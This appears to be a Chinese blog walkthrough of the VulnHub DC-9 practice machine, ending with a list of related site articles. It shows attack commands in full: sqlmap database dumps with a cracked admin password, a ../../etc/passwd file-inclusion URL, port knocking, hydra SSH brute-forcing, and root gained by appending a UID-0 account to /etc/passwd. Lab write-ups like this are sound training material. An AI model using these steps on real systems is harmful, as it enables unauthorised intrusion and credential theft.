VulnHub靶机 DC-9 靶机 详细渗透过程

2024-04-28 18:36

本文主要是介绍VulnHub靶机 DC-9 靶机 详细渗透过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-9 打靶实战 详细渗透过程

目录

  • VulnHub靶机 DC-9 打靶实战 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登入后台
        • 文件包含
        • SSH爆破
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-9,412/

image-20240427175043625

二、渗透测试

主机发现

通过使用arp-scan或者nmap进行主机发现

arp-scan -l

image-20240427175427033

端口扫描

发现主机后进行信息收集,端口扫描

nmap -p- 192.168.43.5

image-20240427175522914

开放HTTP80端口和SSH22端口,但是发现22端口为filtered状态,然后接下来查看HTTP的服务详情

nmap -p80 -sV -A 192.168.43.5

image-20240427175639500

访问web界面

image-20240427175753617

image-20240427175942360

指纹探测

whatweb http://192.168.43.5/index.php

image-20240427175930547

目录扫描

dirsearch -u http://192.168.43.5/ -i 200

image-20240427182930175

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

Web渗透

SQL注入

在搜索栏下发现有交互内容,输入一下信息并无输出什么,抓包尝试SQL注入

image-20240427183106599

抓取数据包,通过FUZZ测试SQL注入,发现有回显点,页面变化

image-20240427183224422

image-20240427183300197

页面发送变化,返回信息

image-20240427184721615

保存原始数据包,直接放入到sqlmap当中进行执行

//测试SQL注入,判断当前数据库,同时是否为DBA
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs

成功注入,发现当前使用的数据库,但并不是DBA

image-20240427183451884

脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D Staff --dump

image-20240427183615639

users数据表当中发现用户名和密码,将密码进行md5解密

image-20240427183643305

image-20240427183706128

用户名:admin
密码:transorbital1

由于使用的当前数据库为Staff,所以可以直接判断出此用户名和密码即为后台管理员用户名和密码。

知道此,那么还有另一个数据库,继续脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump

拿到大量的用户名和密码信息,保存下来

image-20240427183857256

登入后台

拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd

image-20240427184905771

image-20240427185020733

文件包含
http://192.168.43.5/welcome.php?file=../../../../etc/passwd

image-20240427185726398

image-20240427185806810

通过/etc/passwd可得拥有很多的用户名,其中包括users数据库当中的用户名

image-20240427185927721

image-20240427183857256

SSH爆破

将之前保存下来的这些用户名和密码,进行爆破

hydra -L user.txt -P passwords.txt ssh://192.168.43.5
提权

ssh爆破得到三个用户名和密码,分别登录即可。

ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。但我这里通过爆破后进行ssh登录时可直接登录的,可能在前面端口扫描时触发了规则导致打开。

详细参考:安全系列之端口敲门服务

如果不能ssh连接原因如下:

image-20240427175522914

存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全//配置文件路径
默认配置文件是:/etc/knockd.conf

image-20240427212543349

//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问

image-20240427213635311

ssh爆破,使用hydra工具进行爆破,等待即可

image-20240427190635480

chandlerb用户:

image-20240427191727259

joeyt用户:

image-20240427191750934

janitor用户:

image-20240427191819255

通过find命令和sudo -l 命令三者用户皆无得到可利用信息

但是通过三者发现在janitor用户的家目录下多了一个隐藏文件,查看后发现为密码文件,那么将这些密码添加到之前的字典当中,再次爆破一次

hydra -L user.txt -P passwords.txt ssh://192.168.43.5

image-20240427191928396

发现成功爆破出新的用户登录信息,进行登录。或者直接su切换也可

ssh fredf@192.168.43.5

image-20240427192256334

sudo -l命令查看到以root权限运行的文件,进行查看

sudo -l

test为可执行文件

image-20240427192340092

image-20240427192423912

查看所在目录的一些信息,寻找可利用内容

image-20240427192643948

返回上级目录查找到py文件,查看脚本内容

python脚本意思为将参数1进行读取,将参数1的内容写入到参数2当中

image-20240427193128772

那么接下来就可以进行构造/etc/passwd文件当中的信息,进行追加用户信息即可提权,仿照/etc/passwd文件当中内容进行构造信息

//etc/passwd下的root用户信息
root:x:0:0:root:/root:/bin/bash//根据root信息,构造用户信息追加到/etc/passwd文件当中,添加admin用户
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

ps:使用openssl生成密码即可

openssl passwd -1 -salt 123 admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
//将上述构造的语句写入到文件当中

image-20240427194552701

将构造的信息保存到一个文件当中,然后接下来执行text即可

目前的/etc/passwd当中没有新增用户

image-20240427194726693

执行后:

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

image-20240427194855063

image-20240427194842306

成功追加,直接su切换admin用户,输入密码,成功提权

su admin
Password:admin

image-20240427194942120

思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权


VulnHub靶机 DC靶机系列 通关手册

DC-1:Vulnhub靶机 DC-1 渗透详细过程

DC-2:Vulnhub靶机 DC-2 渗透详细过程

DC-3:Vulnhub 靶机 DC-3 实战系列 渗透详细过程

DC-4:VulnHub系列 DC-4靶机 渗透详细过程

DC-5:VulnHub靶机 DC-5 打靶 渗透测试详细过程

DC-6:Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

DC-7:VulnHub靶机 DC-7 打靶 渗透详细流程

DC-8:VulnHub靶机 DC-8 打靶实战 详细渗透过程

DC-9:VulnHub靶机 DC-9 靶机 详细渗透过程


文章不妥之处,欢迎批评指正!

这篇关于VulnHub靶机 DC-9 靶机 详细渗透过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/943953

相关文章

MySQL————创建存储过程函数 有参数传递

存储过程使用大纲 有参数传递 delimiter $$ 声明一个名称为get_student_introduce CREATE PROCEDURE gei_student_introduce(in p_name VARCHAR(20))  开始操作 BEGIN  撰写真正在操作DML+DQL都行 select introduce '简介' from student WHERE use

宽电压降压型 DC-DC 电源管理芯片

产品描述 AP8854 一款宽电压范围降压型 DC-D 电源管理芯片,内部集成使能开关控制、基 准电源、误差放大器、过热保护、限流保 护、短路保护等功能,非常适合宽电压输 入降压使用。 AP8854 带使能控制,可以大大节省外 围器件,更加适合电池场合使用,具有很 高的方案性价比。 特点 ◆ 电压输入范围 10V 至 120V                            电:18

MapReduce简介,结构组成,运行过程,WordCount...

hadoop四大模块 ------------------- common hdfs        //namenode + datanode + secondarynamenode mapred yarn        //resourcemanager + nodemanager 1.MapReduce简介 Hadoop最主要的两部分Hdfs,MapReduce。其中Hdfs是用来分布式

宽电压降压恒压DC-DC 电源管理芯片

产品描述 AP8851H 一款宽电压范围降压型 DC-DC 电源管理芯片,内部集成使能开关控制、基准电源、误差放大器、过热保护、限流保护、短路保护等功能,非常适合在宽输入电压范围具有优良 的负载和线性调整度。 AP8851H芯片包含每周期的峰值 限流、软启动、过压保护和温度保护, 带 VIN分压采样电压输出。使能控制功耗几乎可以忽略,可以大大节省外 围元器件。 应用原理图 特点 ◆ 内部

Tomcat源码解析-启动过程分析之主干流程

Tomcat启动入口就在脚本startup.sh中,具体脚本可以看tomcat的源码,这个启动脚本主要用来判断环境, 找到catalina.sh脚本路径,将启动参数传递给catalina.sh执行。 catalina.sh start 最终会执行org.apache.catalina.startup.Bootstrap中的main方法,并把start参数传入。 以后分析Tomcat关闭的时候,也

简析类加载的过程

1.加载    加载(loading)阶段是“类加载” (Class Loading)过程的一个阶段,在加载阶段,虚拟机需要完成以下三件事情:    1)通过一个类的全限定名来获取定义此类的二进制字节流。    2)将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构    3)在Java堆中生成一个代表这个类的java.lang.Class对象,作为方法区这些数据的访问入口。   虚拟机

线程池执行任务的过程

线程池是如何工作的呢,借用并发编程艺术一书中的话来描述当一个任务提交给线程池之后,线程池会怎么做? 首先,线程池会判断核心线程池里的线程(线程总数是30,则coreSize有可能是10)是否都在执行任务。如果没有比方说当前只有9个线程在工作,则从核心线程池中创建一个新的线程来执行任务。如果当前已经有10个线程在工作了,则进入下一步; 其次,线程池会判断工作队列是否已经满了,如果工作队列没有满,

【网络安全】适合新手的CTF靶场合集(非常详细)零基础入门到精通,收藏这一篇就够了

前言 经常会有粉丝朋友询问大白,如何打CTF比赛,有没有适合新手的CTF靶场? 今天呢大白就给粉丝朋友分享一下,我整理得可能没有那么全,这里的合集主要还是面对新手。做题贵精不在多,好好练习每一题,学习每个知识点,不懂的百度或者 Google 即可。记住,你是为了提高自己而去打 CTF 。 CTF 比赛时间表 CTFwiki(入门必看wiki): https://ctf-wiki.git

Linux命令速查手册,超详细Linux命令教程

一、常用命令速查 ls cd pwd cat more less tail head cp scp mv mkdir rmdir touch rm ps kill top free clear tree wc stat   以上是常用命令速查表,以下是命令详解。 二、Linux 文件/目录管理类命令详解 Linux命令详解之–ls命令 Linux命令详解之–cd命令 Linu

linuxmysql5.5详细安装教程

说明:蓝色=命令名称       浅绿=命令参数       浅蓝=选项       紫色=目录       系统环境:CentOS  5.7  x86_64 一、安装简介 用户名:mysql 安装目录:/usr/local/mysql-5.5.20 数据库目录:/data/mysql/data 源码包:mysql-5.5.21.tar.gz 自动部署脚本可在 htt